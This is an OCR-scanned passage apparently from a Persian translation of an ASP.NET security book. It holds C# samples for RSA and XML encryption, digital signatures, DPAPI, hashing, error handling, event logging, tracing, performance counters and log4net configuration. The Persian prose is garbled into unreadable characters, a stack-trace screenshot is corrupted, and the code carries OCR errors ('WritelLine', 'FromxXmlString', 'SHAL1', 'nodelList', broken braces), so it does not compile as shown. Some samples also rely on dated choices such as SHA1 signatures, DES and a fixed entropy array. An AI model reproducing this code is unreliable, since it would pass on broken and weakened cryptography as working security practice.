o &L Ll e XML ol e CJB 55 ToXmIString () s, \\ slil) g aulS g

35 eslizal key container G 5l b OF gbr 4 S o \.«‘ Kb 1, ol el Y
o5 sl key container 1 eslaal s Ll o Se|ty.Cryptography.CspParameters
LS SaS Lk 4 lands

s e gl 1 O LliSse, 5 8 5, S8 55 Jle

7
byte[] encryptedData = null;
byte[] secretData = Encoding.UTF8.GetBytes ("1234 5678 9012 3456 06/13");
// Sender's end
using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider ())
{
rsa.FromXmlString (publicKey); // encrypt using public key
encryptedData = rsa.Encrypt (secretData, true);

}

// Receiver's end
using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider())

{
rsa.FromxXmlString (privateKey); // decrypt using private key
Console.WritelLine (Encoding.UTF8.GetString (rsa.Decrypt (encryptedData,

true)));
}
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bytel] dataFromAmir = Encoding.UTF8.GetBytes ("Meet me in the town
square") ;

var cert = "CN=Amir".ToCertificate();

var provider = (RSACryptoServiceProvider)cert.PrivateKey; // Note the use
of private key here

byte[] signatureOfAmir = provider.SignData (dataFromAmir,

CryptoConfig.MapNameToOID ("SHAL1")) ;
Console.WritelLine (Convert.ToBase64String (signatureOfAmir)) ;
// What gets sent to Ali are the data and signature
// dataFromAmir and signatureOfAmir
@\
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// Ali receives my data and signature here

// dataFromAmir and signatureOfAmir

// Ali validates the signature using my public key

var cert = "CN=Amir".ToCertificate();

var provider = (RSACryptoServiceProvider)cert.PublicKey.Key;

// Note the use of public key here

if (provider.VerifyData (dataFromAmir,

CryptoConfig.MapNameToOID ("SHAL1"),
signatureOfAmir))

Console.WritelLine ("Verified") ;
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// This is an example of entropy. In a real application
// it should be a cryptographically secure array of random data.
private static byte[] entropy = {1, 3, 5, 7, 9, 11, 15, 17, 19};
static byte[] EncryptUsingDPAPI (byte[] clearText)
{
return ProtectedData.Protect (
clearText,
entropy,
DataProtectionScope.LocalMachine) ;
}
static byte[] DecryptUsingDPAPI (byte[] encryptedText)
{
return ProtectedData.Unprotect (
encryptedText,
entropy,
DataProtectionScope.LocalMachine) ;

)
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private string CalculateSHA256Hash (string input)

{
// Encode the input string into a byte array.
byte[] inputBytes = Encoding.UTF8.GetBytes (input) ;
// Create an instance of the SHA256 algorithm class
// and use it to calculate the hash.
SHA256Managed sha256 = new SHA256Managed () ;
byte[] outputBytes = sha256.ComputeHash (inputBytes) ;
// Convert the outputed hash to a string and return it.
return Convert.ToBase64String (outputBytes) ;

)
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public static void Encrypt (XmlDocument document, i

string elementNameToEncrypt,
SymmetricAlgorithm algorithm)

// Check the arguments.

if (document == null)
throw new ArgumentNullException ("document") ;
if (elementNameToEncrypt == null)

throw new ArgumentNullException ("elementNameToEncrypt") ;
if (algorithm == null)

throw new ArgumentNullException ("key");
// Extract the element to encrypt.
XmlElement elementToEncrypt =

document.GetElementsByTagName (

elementNameToEncrypt) [0]

as XmlElement;
if (elementToEncrypt == null)

throw new XmlException (

"The specified element was not found");

// Encrypt the xml element
EncryptedXml eXml = new EncryptedXml () ;
byte[] encryptedElement =

eXml.EncryptData (elementToEncrypt,

algorithm, false);

// Now build a representation of the encrypted data.
EncryptedData encryptedData =

new EncryptedData

{
Type = EncryptedXml.XmlEncElementUrl
bi

// Work out the algorithm used so we can embed it
// into the document.
string encryptionMethod = null;
if (algorithm is TripleDES)
encryptionMethod = EncryptedXml.XmlEncTripleDESUrl;
else if (algorithm is DES)
encryptionMethod = EncryptedXml.XmlEncDESUrl;
if (algorithm is Rijndael)
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switch (algorithm.KeySize)
{
case 128:
encryptionMethod
break;
case 192:
encryptionMethod
break;
case 256:
encryptionMethod
break;

EncryptedXml.XmlEncAES128Url;

EncryptedXml.XmlEncAES192Url;

EncryptedXml.XmlEncAES256Url;

}

else
{

// Throw an exception if the transform

//is not in the previous categories

throw new CryptographicException (

"Specified algorithm is not supported");

}
encryptedData.EncryptionMethod =

new EncryptionMethod (encryptionMethod) ;
// Add the encrypted element data to the
// EncryptedData object.
encryptedData.CipherData.CipherValue = encryptedElement;
// Replace the original element with the encrypted data
// and algorithm information
EncryptedXml.ReplaceElement (

elementToEncrypt, encryptedData, false);

}
|, ol EncryptedXml 1 -mncryptedData ooy b ekl b e S o 1 XmIElement
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<?xml version="1.0" encoding="utf-8" ?>
<envelope>
<to>barryd@idunno.org</to>

<from>yourbank@bank.com</from>
<message> You have just been paid.</message >
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XmlDocument document = new XmlDocument

{

PreserveWhitespace = true
i

// Load the document and then continue.
RijndaelManaged algorithm = new RijndaelManaged() ;
Encrypt (document, "message", algorithm);

SIS Sl 0n ) S LSS Sl ddr g S0 bl S S slais s D), ks

el S WL S adS Wl olg U s s S dale A5 s

Ly 5,
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XML st S (g3l 3 ool Sogm a4 oslizad 31 a1 (K50, olss
DD

J};N‘}} j‘.’.) Lole ol LS‘)“’\?J‘”)
A S
<?xml version="1.0"” encoding="utf-8"?>
<envelope>
<to>barryd@idunno.org</to>
<from>yourbank@bank.com</from>
<EncryptedData Type="http://www.w3.0rg/2001/04/xmlenc#Element”
xmlns="http://www.w3.0rg/2001/04/xmlenc#”>
<EncryptionMethod
Algorithm="http://www.w3.0rg/2001/04/xmlencf#aes256-cbc” />
<CipherData>
<CipherValue>plD/....FIT20==</CipherValue>
</CipherData>
</EncryptedData>
</envelope>

i) ol (6,148 5 @L’DL «s EncryptedData =z & L message .z 5 Liws ASls5 o
Sl (Encryptig %ﬁ
e oliS s, @ SN 1l o101l 4 1y el 5550 IV 5 IS 0, S STl ol
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public static void Decrypt (XmlDocument xmlDocument,
SymmetricAlgorithm algorithm)

// Check the arguments.

if (xmlDocument == null)
throw new ArgumentNullException ("xmlDocument") ;
if (algorithm == null)

throw new ArgumentNullException ("key");
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// Find the EncryptedData element in the XmlDocument.
XmlElement encryptedElement =
xmlDocument.GetElementsByTagName (
"EncryptedData") [0] as XmlElement;
// If the EncryptedData element was not found,
// throw an exception.
if (encryptedElement == null)
{
throw new XmlException ("No encrypted element was found.");
}
// Create an EncryptedData object and populate it.
EncryptedData encryptedData = new EncryptedData() ;
encryptedData.LoadXml (encryptedElement) ;
// Create a new EncryptedXml object.
EncryptedXml encryptedXml = new EncryptedXml () ;
// Decrypt the element using the symmetric algorithm.
byte[] rgbOutput =
encryptedXml.DecryptData (encryptedData, algorithm) ;
// Replace the encryptedData element with the
// plaintext XML element.
encryptedXml.ReplaceData (encryptedElement, rgbOutput) ;
}
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public static void Encrypt (XmlDocument document,
string elementNameToEncrypt, RSAParameters rsaParameters)

const string KeyName = “rsaKey”;

const string EncryptedElementId = “encryptedMessage”;

// Create a new instance of the RSA algorithm and load the key.

RSACryptoServiceProvider rsa = new RSACryptoServiceProvider () ;

rsa.ImportParameters (rsaParameters) ;

// Get the element for encryption.

XmlElement elementToEncrypt =
document.GetElementsByTagName (elementNameToEncrypt) [0]
as XmlElement;

if (elementToEncrypt == null)

{
throw new XmlException (

“The specified element was not found”);

}

// Create a session key as asymmetric algorithms

// cannot encrypt large amounts of data.

RijndaelManaged sessionKey =
new RijndaelManaged { KeySize = 256 };

// Encrypt the required element using the session key.

EncryptedXml encryptedXml = new EncryptedXml () ;

byte[] encryptedElement = encryptedXml.EncryptData (
elementToEncrypt, sessionKey, false);

// Now create an encrypted data element containing the details

// of the algoritm used to generate the session key and the id

// for the encrypted element.

EncryptedData encryptedData = new EncryptedData
{

Type = EncryptedXml.XmlEncElementUrl,
Id = EncryptedElementId,
EncryptionMethod = new EncryptionMethod (
EncryptedXml.XmlEncAES256Url)
}i

// Encrypt the session key using the asymmetric

// algorithm created from the passed RSA key.

EncryptedKey encryptedSessionKey = new EncryptedKey () ;

byte[] encryptedKey = EncryptedXml.EncryptKey (
sessionKey.Key, rsa, false);

// Wrap the encrypted session key with information about

// how it was encrypted.

encryptedSessionKey.CipherData = new CipherData (encryptedKey) ;

encryptedSessionKey.EncryptionMethod =

new EncryptionMethod (EncryptedXml.XmlEncRSA15Url) ;

// Now create a reference for the encrypted session

// key which will be used when the encrypted XML

// 1s created. This allows for multiple data

// elements to be encrypted using different keys.

DataReference dataReference = new DataReference

{ Uri = “#” + EncryptedElementId };
encryptedSessionKey.AddReference (dataReference) ;

// Add this reference to the encrypted data.

encryptedData.KeyInfo.AddClause (

ARA
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new KeyInfoEncryptedKey (
encryptedSessionKey) ) ;

// Now create a KeyName element
KeyInfoName keyInfoName = new KeyInfoName { Value = KeyName };
encryptedSessionKey.KeyInfo.AddClause (keyInfoName) ;
// And finally replace the plain text with the cipher text.
encryptedData.CipherData.CipherValue = encryptedElement;
EncryptedXml.ReplaceElement (elementToEncrypt, encryptedData, false);
sessionKey.Clear () ;
rsa.Clear () ;

}
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<?xml version="1.0"” encoding="utf-8"?>
<envelope>
<to>barryd@idunno.org</to>
<from>yourbank@bank.com</from>
<EncryptedData Id="encryptedMessage”
Type="http://www.w3.0rg/2001/04/xmlenc#Element”
xmlns="http://www.w3.0rg/2001/04/xmlenc#"”> <EncryptionMethod
Algorithm="http://www.w3.0rg/2001/04/xmlenc#aes256-cbc” />
<KeyInfo xmlns="http://www.w3.0rg/2000/09/xmldsig#”>
<EncryptedKey xmlns="http://www.w3.0rg/2001/04/xmlenc#”>
<EncryptionMethod
Algorithm="http://www.w3.0rg/2001/04/xmlenc#rsa-1 5" />
<KeyInfo xmlns="http://www.w3.0rg/2000/09/xmldsig#”>
<KeyName>rsaKey</KeyName>
</KeyInfo>
<CipherData>
<CipherValue>fUPT/....KmU=</CipherValue>
</CipherData>
<Referencelist>
<DataReference URI="#encryptedMessage” />
</Referencelist>
</EncryptedKey>
</KeyInfo>
<CipherData>
<CipherValue>R5RTQVAGGWOMVd. . .ah+gwFin5xu5Q==</CipherValue>
</CipherData>
</EncryptedData>
</envelope>
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public static void Decrypt (XmlDocument document,
RSAParameters rsaParameters)
{
const string KeyName = “rsaKey”;
// Create a new instance of the RSA algorithm and load the key.
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider () ;
rsa.ImportParameters (rsaParameters) ;
// Check the arguments.
if (document == null)
throw new ArgumentNullException (“document”) ;
// Create a new EncryptedXml object.
EncryptedXml encryptedXml = new EncryptedXml (document) ;
// Add a key-name mapping.
// This method can only decrypt documents
// that present the specified key name.
encryptedXml .AddKeyNameMapping (KeyName, rsa);
// Decrypt the element.
encryptedXml.DecryptDocument () ;
}
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public static void Encrypt (XmlDocument document,

string elementIdToEncrypt,
X509Certificate?2 certificate)
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if (document == null)

throw new ArgumentNullException (“document”) ;
if (elementIdToEncrypt == null)

throw new ArgumentNullException (“elementIdToEncrypt”) ;
if (certificate == null)

throw new ArgumentNullException (“certificate”);
// Extract the element to encrypt
XmlElement elementToEncrypt =
document .GetElementsByTagName ( elementIdToEncrypt) [0] as XmlElement;
if (elementToEncrypt == null)
throw new XmlException (“The specified element was not found”);
// Create an instance of the encryptedXml class,
//and encrypt the data
EncryptedXml encryptedXml = new EncryptedXml () ;
EncryptedData encryptedData =
encryptedXml.Encrypt (elementToEncrypt, certificate);
// Replace the original element.
EncryptedXml.ReplaceElement (
elementToEncrypt, encryptedData, false);
}
public static void Decrypt (XmlDocument document)
{
if (document == null)
throw new ArgumentNullException (“Doc”) ;
// Create a new EncryptedXml object from the document
EncryptedXml encryptedXml =
new EncryptedXml (document) ;
// Decrypt the document.
encryptedXml.DecryptDocument () ;

}
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public static void SignXml (XmlDocument document, RSA algorithm)
{
// Create a SignedxXml object.
SignedXml signedXml = new SignedXml (document)
{
SigningKey = algorithm
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}i
// Create a reference to be signed.
Reference reference = new Reference

{

Uri = ""

bi
// Create an envelope for the signature.
XmlDsigEnvelopedSignatureTransform env =

new XmlDsigEnvelopedSignatureTransform() ;
reference.AddTransform (env) ;
// Add the reference to the SignedXml object.
signedXml.AddReference (reference) ;
// Compute the signature.
signedXml.ComputeSignature () ;
// Get the XML representation of the signature and save
// 1t to an XmlElement object.
XmlElement xmlDigitalSignature = signedXml.GetXml () ;
// Append the element to the XML document.
document .DocumentElement . AppendChild (
document . ImportNode (xmlDigitalSignature, true)):;

}
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<?xml version="1.0"” encoding="utf-8"?>
<envelope>
<to>barryd@idunno.org</to>
<from>yourbank@bank.com</from>
<message>You have just been paid.</message>
<Signature xmlns="http://www.w3.0rg/2000/09/xmldsig#”>
<SignedInfo>
<CanonicalizationMethod
Algorithm=“http://www.w3.0rg/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.0rg/2000/09/xmldsig#rsa-shal” />
<Reference URI="">
<Transforms>
<TransformAlgorithm=
“http://www.w3.0rg/2000/09/xmldsigf#enveloped-signature”/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.0rg/2000/09/xmldsigf#shal” />
<DigestValue>14QXaOIHLNGsTuAptLdsk9Yzvm8=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>IMpK1Kn3gtf2HHVANL. ...hg4gMH4 JNAMvrGxDU/+1iV9cUYwSI=
</SignatureValue>
</Signature>
</envelope>
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public static Boolean IsSignedXMLValid (XmlDocument document, RSA key)
{
// Create a new SignedXml object and load
// the signed XML document.
SignedXml signedXml = new SignedXml (document) ;
// Find the "Signature" node and create a new
// XmlNodeList object.
XmlNodeList nodelList = document.GetElementsByTagName ("Signature") ;
// Throw an exception if no signature was found.
if (nodelList.Count <= 0)
{
throw new CryptographicException ("No signature found.");
}
// Load the first < signature > node.
signedXml.LoadXml ( (XmlElement)nodeList [0]) ;
// Check the signature and return the result.
return signedXml.CheckSignature (key) ;
}
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public static void Sigﬁkmiﬁ%&lDocument document, X509Certificate2
certificate)
{

// Create a SignedxXml object.

SignedXml signedXml = new SignedXml (document)

{

SigningKey = certificate.PrivateKey

i

// Create a reference to be signed.

Reference reference = new Reference

{

Uri = ""

i

// Create an transformation to the reference

XmlDsigCl4NTransform transform = new XmlDsigCl4NTransform() ;

reference.AddTransform (transform) ;

// Create an envelope to add to the reference

XmlDsigEnvelopedSignatureTransform envelope =

new XmlDsigEnvelopedSignatureTransform() ;

reference.AddTransform (envelope) ;

// Add the reference to the SignedXml object.

signedXml .AddReference (reference) ;

// Create a key information object to allow verification

// to use the embedded certificate public key.

KeyInfo keyInfo = new KeyInfol();
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keyInfo.AddClause (new KeyInfoX509Data (certificate));

signedXml.KeyInfo = keyInfo;

// Compute the signature.

signedXml.ComputeSignature () ;

// Get the XML representation of the signature and save

// 1t to an XmlElement object.

XmlElement xmlDigitalSignature = signedXml.GetXml () ;

// Append the element to the XML document.

document .DocumentElement.AppendChild (
document.ImportNode (xmlDigitalSignature, true)):;

}
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<?xml version="”1.0"” encoding="utf-877?>
<envelope>
<to>barryd@idunno.org</to>
<from>yourbank@bank.com</from>
<message>You'’ve been paid</message>
<Signature xmlns="http://www.w3.0rg/2000/09/xmldsig#"”>
<SignedInfo>
<CanonicalizationMethod
Algorithm=“http://www.w3.0rg/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod Algorithm=“http://www.w3.0rg/2000/09/xmldsig#rsa-
shal” />
<Reference URI="">
<Transforms>
<Transform Algorithm=“http://www.w3.0rg/TR/2001/REC-xml-cl4n-
20010315” />
<Transform
Algorithm=“http://www.w3.0rg/2000/09/xmldsig#enveloped-signature” />
</Transforms>
<DigestMethod Algorithm=“http://www.w3.0rg/2000/09/xmldsig#shal”
/>
<DigestValue>CuCJKs417Hp2RfUP9FTgZv4htKc=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SR2++...Tjg=</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>MIIEzZDCCA7Sg...Ege5suloQ=</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
</envelope>
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public static bool VerifySignature (XmlDocument document)
{
// Create a new SignedXml object and load
// the signed XML document.
SignedXml signedXml = new SignedXml (document) ;
// Find the "Signature" node and create a new
// XmlNodeList object.
XmlNodelList nodelList = document.GetElementsByTagName ("Signature") ;
// Throw an exception if no signature was found.
if (nodelList.Count <= 0)
{
throw new CryptographicException ("No signature found.");
}
// Load the first < signature > node.
signedXml.LoadXml ( (XmlElement)nodeList [0]) ;
// Check the signature and return the result.
return signedXml.CheckSignature() ;
}
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public static bool VerifySignaEure(
XmlDocument document,
ref X509Certificate signingCertificate)

// Create a new SignedXml object and load
// the signed XML document.
SignedXml signedXml = new SignedXml (document) ;
// Find the "Signature" node and create a new
// XmlNodeList object. XmlNodeList nodelist =
document .GetElementsByTagName ("Signature") ;
// Throw an exception if no signature was found.
if (nodelList.Count < = 0)
{

throw new CryptographicException ("No signature found.");
}
// Extract the signing certificate
foreach (KeyInfoClause keyInfoClause in signedXml.KeyInfo)
{

if (keyInfoClause is KeyInfoX509Data)

{

KeyInfoX509Data keyInfoX509Data =
keyInfoClause as KeyInfoX509Data;
if ((keyInfoX509Data.Certificates != null) &&
(keyInfoX509Data.Certificates.Count == 1))
signingCertificate = (X509Certificate)
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keyInfoX509Data.Certificates[0];

}
}
// Load the first <signature > node.
signedXml.LoadXml ( (XmlElement)nodeList[0]) ;
return signedXml.CheckSignature () ;
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Server Error in '/Bad Exceptions' Application.

An error has occurred while establishing a connection to the server, When connecting to SQL Server 2005, this failure may be
caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: Named Pipes
Provider, error: 40 - Could not open a connection to SQL Server)

Description: An ushandied exception socerred during e execetion of e cument wet reavest. Peese roview Te stack Tace §or more Rformanon 305t 1he erTor and where & srginated n the code.

Caption Detaile: Syasen Dats ST SICAtton AN aerie BAs OSCUITad WAM SRBIAARG & SCONATICH 15 194 Sl WAL Connacting 5 SOL Savvie 2005, thin tARire My Do Chvtad by e 1421 1941 UASA T4 241508 satinge SOL Sacvw
G30% ACE SRIW BN CONBNCIENA. (MK Narmd Poms Provider, airor. 40 . Couls nit open & consacten 1o 0L Server)

Source Error:

Line 14: SalConnection connectios « smew SalConnection(

Line 15: Configurationmanager ,Conmect i0nSTrings " sxanp ] slatabate™]. ConnectionString);
connection. pen

// o Stuff

<oonection.Close();

Source File: ¢ ragt

Aspeca Line:

Stack Trace: .

{5qlTxception (OnS0L131904): An error has occurred while establishing a comnection to the server. Whes coanecting to SQL Server 2005, this fatrlure may be caused by the fact that
Syttes. Oata.SalC14ent, Sal IntecnalConnaction, Cnirror (SqlException exception, Boclean brealConnpctica) 400111
Systes, Data. SalCitent. . Threwtxcept ng(TdsParserStateObject statedby) +186
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System, Data. ProviderBase. DbConnectyanPaal . CetConnection{DbConnect1om owmingObject) +494
System, Onta. Br ot derBase. DbConnect ionk actory, GetConnect ion(DbConnact icn cwningConnect ion) «X)
Systes. Data. ProvicerBase. DbConnectionC | osed. OpenConnection{DbCannectica cuterConnection, DbConmecticaFactory connectionfactory) +105
System. Oata, $Q1CT tent. SqlCannect ian,. Open() +111
Default. Page Load(Object sender, Tventirgs e) 0 c:\Users\barryd\Documents'\Visual Studio 2008\Wedsytes\Chapter 5\Sawples\Sad Cxceptions\Default. aspx, csilé
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Systes. b, UL Control.Coload(bventirgs &) 9%
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Server Error in '/Bad Exceptions’ Application

Runtirne Error
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<system.web>
<customErrors mode="On" defaultRedirect="~/error.aspx">
</customErrors>

</system.web>
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<system.web>

<customErrors mode="On" defaultRedirect="~/error.aspx" >
<error statusCode="404" redirect="~/notfound.aspx" />
</customErrors>

</system.web>
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try
{
file.ReadBlock (buffer, index, buffer.Length);
}
catch (FileNotFoundException e)
{
Server.Transfer ("NoFileErrorPage.aspx", true);
}
catch (System.IO.IOException e)
{
Server.Transfer ("IOErrorPage.aspx", true);
}
finally

{

if (file != null)
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public partial class MyPage : System.Web.UI.Page {
protected void Page Error (object sender, EventArgs e)
{
// Log Errors.
Exception ex = Server.GetLastError();
Error.Log (ex) ;
Server.ClearError () ;
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void Application Error (object sender, EventArgs e)
{

// Code that runs when an unhandled error occurs
Exception Ex =Server.GetLastError();
Server.ClearError () ;

Server.Transfer ("Error.aspx") ;

}
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EventLog.WriteEntry ("MyWebApplication",
"Something bad happened", EventLogEntryType.Error, 101);
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EventLog.CreateEventSource ("MyWebApplication", "Application") ;

s 45l sl e SG sl 5 e sl sl S e olSn 5 sl e Vsene eSS
Lol ol 5o Lo (I s kiS e Lo gas ASPINET (ladel y 0 g J= ol L © }?Eﬁ.u
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EventLog.CreateEventSource ("FrontEnd", "APA");
EventLog.CreateEventSource ("BackEnd", "APA");

S BackEnd ; FrontEnd :>,ls acey S35 LS o sl=| APA VU a piolaw sl g, G S US Gl
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EventLog customLog = new EventLog ("WroxApp", ".", "FrontEnd"):;

customLog.WriteEntry ("Something bad happened",
EventLogEntryType.Error, 101);
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e by 5 Jle S e esein Web.config LG s 1 sl 1SS

<system.net>
<mailSettings >
<smtp from="webapplication@domain.example" >
<network
userName="mailUsername"
password="mailPassword"
host="mailServer.domain.example" / >
</smtp>
</mailSettings>
</system.net >
A dal o 5 Ll Sl oS sl MESSAgR LS 51 55 o Lo B oSG Ll sl

Q

i |y 5 Jle .S Jlu)l SmitpClient oS 5 & 5o @ﬁ%wiwj &5l
[~
System.Net.Mail.MailMessage message =
new System.Net.Mail.MailMessage (

"from@webapplication.domain",

"webMonitor@company.example") ;
message.Subject = "Unhanded exception in "+Context.Request.Path;
message.Body = Server.GetLastError ().ToString(); message.Priority =
System.Net.Mail.MailPriority.High;
System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient () ;

smtp.UseDefaultCredentials = true; smtp.Send(message) ;
N\
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<%@ Page Async="true" ... %>

@ 1y Sledbl M@@; A8 sl SmtpClient & « SendComplete sl s, G AL s s
G e ey o> @—J}w G M) w40 SendAsync ftﬁ sluserState el 5l eslaad boslis g,
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using System;

using System.Collections.Generic;
using System.ComponentModel;
using System.Net.Mail;

using System.Web;
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public partial class Default : System.Web.UI.Page
{

protected void Page Error (object sender, EventArgs e)
{
MailMessage mail = new MailMessage () ;
// Create the message
mail.From = new MailAddress ("webError@wrox.example") ;
mail.To.Add ("monitor@wrox.example") ;
mail.Subject =
"Unhanded exception in "+Context.Request.Path;
mail.Body = Server.GetLastError () .ToString() ;
SmtpClient smtp = new SmtpClient () ;
object userState = mail;
//wire up the Asynce event for the send is completed
smtp.SendCompleted +=
new SendCompletedEventHandler (
smtp SendCompleted) ;
smtp.SendAsync (mail, userState);
}
void smtp SendCompleted(object sender, AsyncCompletedEventArgs e)

//Get the Original MailMessage object
MailMessage mail = (MailMessage)e.UserState;

if (e.Error != null)
{
LogErrorElsewhere (
"Error {1} occurred when sending mail [{0}] ",
mail.Subject,
e.Error.ToString ()) ;

}
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Request Details
Session Id: IthuhtitrSpbztmblfziry Raquest Type: GET
Time of Request; 12/01/2009 22:04:01 Status Code: 200
Request Encoding: Urscode (UTF-0) Unicods (UTF-8)
Category Message From Last(s)
aspx.page Heqin Prelnit
ASpx,.page End Prairet 0.0135385921053768 0,013539
AEPX.page Bogin it 0.0137053731689363 0.000167
aspx.page End inet 0.0138783001750222 0,000173
3Spx.page Bagin InitComplate 0.0139252335143154 0.0000587
spx.page End IntComplete 0.01357216685360085 0.000047
aspx.page Begin PreLoad 0.0140174240022126 0.000045
aspx.page End PreLoad 0.01400626811508167 0.000045
aspx.page Hegin Laad 0.014112687506373 0.000050
ASPX.PIGO End Load 0.01E5031896511987 0.004391
ASpX, page Begin LoadCompiate 0.0186269433970728 0.000124
ISP, page End LoadComplste 0.0186744404665956 0.000047
ISP page fagin Prefender 0.0187244456 32 0,000050
ASpx, page End PreRender 0.01884960223936003 0.000128
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aspx.page End PreRendarComplete 0.0189448058977607 0.000046
ASpX.page Bopn SaveState 0.0850060108058426 0.066151
AP, pIge End SaveState 0.147183510753462 0.062087
Ispx.page Begin SaveStateComplate 0.18730056473658 0.060117
3Ispx.page End SavaStateComplate 0.147363980617648
ASpx. . page Bagin Render 0.147 752052286
End Render 0.1970
ControiState Size Bytes
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Page ASP. default_aspx 487 0 0
ctio2 System, Web Ul UtaradControl 174 Q 0 -
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<system.web>

<trace
enabled = "true"
localOnly = "true"
pageOutput = "false"
traceMode = "SortByTime"
requestLimit = "25"
mostRecent = "true" / >
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string counterCategory = "SecuringASPNet";
if (!PerformanceCounterCategory.Exists (counterCategory)) {
PerformanceCounterCategory.Create (counterCategory,
"My category description/Help",
PerformanceCounterCategoryType.SingleInstance,
"CounterName",
"Counter Description/Help") ;

}
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string counterCategory = "SecuringASPNet";
if (!PerformanceCounterCategory.Exists (counterCategory))

{
CounterCreationDataCollection counterCreationDataCollection =
new CounterCreationDataCollection () ;
counterCreationDataCollection.Add (
new CounterCreationData ("BadGuysFound",
"Total number of bad guys detected",
PerformanceCounterType.NumberOfItems32)
)
counterCreationDataCollection.Add (
new CounterCreationData ("BadGuysFoundPerSecond",
"How many bad guys have been detected",
PerformanceCounterType.RateOfCountsPerSecond32)
)

PerformanceCounterCategory.Create (counterCategory,
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"My category description/Help",
PerformanceCounterCategoryType.SingleInstance,
counterCreationDataCollection) ;

}
L sdiS el sadd so G il g5 o Lok cdian 55 aol (gl oS ol S i g J= s e S

LS eslanal Cools Ol s InstallUtil 1L e 5 008 522 PerformanceCounterinstaller ;|

S o3l (MSI) ' il s Sols s diScoss Gt 3 ol fos G Olge 4 O 510
[RunInstaller (true)] public class CountersInstaller =
PerformanceCounterInstaller {
public CountersInstaller ()

{
this.CategoryName = "SecuringASPNet";
Counters.Add (
new CounterCreationData ("BadGuysFound",
"Total number of bad guys detected",
PerformanceCounterType.NumberOfItems32)
)
Counters.Add (
new CounterCreationData ("BadGuysFoundPerSecond",
"How many bad guys have been detected",
PerformanceCounterType.RateOfCountsPerSecond32)
)
}

L oo slad G 0 o s Sl 315 35 0@‘4@;)“\ eslind] S5 o e S S sl
ol slad S 5, OF @ 1 ol sla BN 5 5 &5l PerformanceCounter SIS 51 4 gad G AL
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N\

PerformanceCounter badGuysFound =
new PerformanceCounter ("SecuringASPNet",
"BadGuysFound",
false);

PerformanceCounter badGuysFoundPerSecond =
new PerformanceCounter ("SecuringASPNet",
"BadGuysFoundPerSecound",
false);

badGuysFound.Increment () ;

badGuysFoundPerSecond. IncrementBy (1) ;
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PerformanceCounter badGuysFoundPerSecond =
new PerformanceCounter (“SecuringASPNet”,
“BadGuysFoundPerSecound”,

“My Instance Name”,
false) ;
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<?xml version="1.0" encoding="utf-8" ?>
<log4net >
<root>
<level value="DEBUG" />
<appender-ref ref="FileAppender" />
</root>
<appender name="FileAppender"
type="1log4net.Appender.FileAppender">
<file value="log4net.log" />
<appendToFile value="true" />
<layout type="log4dnet.Layout.PatternLayout">
<conversionPattern value=

"$date [Sthread] %-5level $logger - Smessage
[$exception] $newline" />
</layout>
</appender>
</logdnet>
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protected void ConfigufgLogging() {

string logFile = HttpContext.Current.Request.PhysicalApplicationPath
+

"log4net.config";
if (System.IO.File.Exists(logFile))
{
log4net.Config.XmlConfigurator.ConfigureAndWatch (
new System.IO.FileInfo (logFile));

}

}
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protected void Application Start (object sender, EventArgs e) {

// Code that runs when the web application starts.
this.ConfigurelLogging () ;

v



i kb ycibil cis
\odsele il g satde fa il

sels B OA‘ szulsﬁ ‘,.

N,
o

il Gamis SO pl b 3 Sl 18 eslatud 5y lad s OIS 5 Slio 5> Log4net

5U s e, o | defaultaspx b das e 0L | logdnet s 5l eslinnl S8 oS NS
J«:S wﬁt?— &:Nw‘ eJATﬂj)J A\%UTL‘) QI 6‘)@) J.:S

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="logé4net" %>
<script runat="server">
protected static readonly ILog log =
LogManager.GetLogger (

System.Reflection.MethodBase.GetCurrentMethod () .DeclaringType) ;
protected void submit OnClicked (object sender, EventArgs e)
{
if (!string.IsNullOrEmpty (logText.Text))

{
log.Debug (logText.Text) ;

}
</script>
<!DOCTYPE html>
<head runat="server">
<title> Simple Logging </title>

</head>
<body>
<form id="logTest" runat="server" >
<div>
Log Entry : <asp:TextBox ID="logText" runat="server" / >

<asp:Button ID="submit" Text="Log" runat="server"
OnClick="submit OnClicked" / >
</div>
</form>
</body>
</html>
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protected static readonly ILog log =
LogManager.GetLogger (
System.Reflection.MethodBase.GetCurrentMethod () .DeclaringType) ;
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<?xml version="1.0" encoding="utf-8" ?>
<logé4net>
<root >

<level value="DEBUG" />
<appender-ref ref="FileAppender"/>
<appender-ref ref="SmtpAppaender" />
</root>
<appender name="FileAppender" type="log4net.Appender.FileAppender">
<file value="log4net.log" />
<appendToFile value="true" />
<layout type="log4dnet.Layout.PatternLayout">
<conversionPattern value=

"$date [Sthread] %-5level $logger - Smessage
[$exception] $newline" />
</layout>
</appender>

<appender name="SmtpAppender" type="log4dnet.Appender.SmtpAppender">
<to value="barryd@example.com" />
<from value="errorlog@example.com" />
<subject value="Logging Message" />
<smtpHost value="SMTPServer.domain.com" />
<bufferSize value="512" />
<lossy value="true" />
<evaluator type="log4net.Core.LevelEvaluator">
<threshold value="Fatal"/>
</evaluator>
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<layout type="log4dnet.Layout.PatternlLayout >
<conversionPattern value=

"$date [3thread] 3-5level slogger = tmessage
[$exception] $newline" />
</layout>
</appender>
</logdnet>
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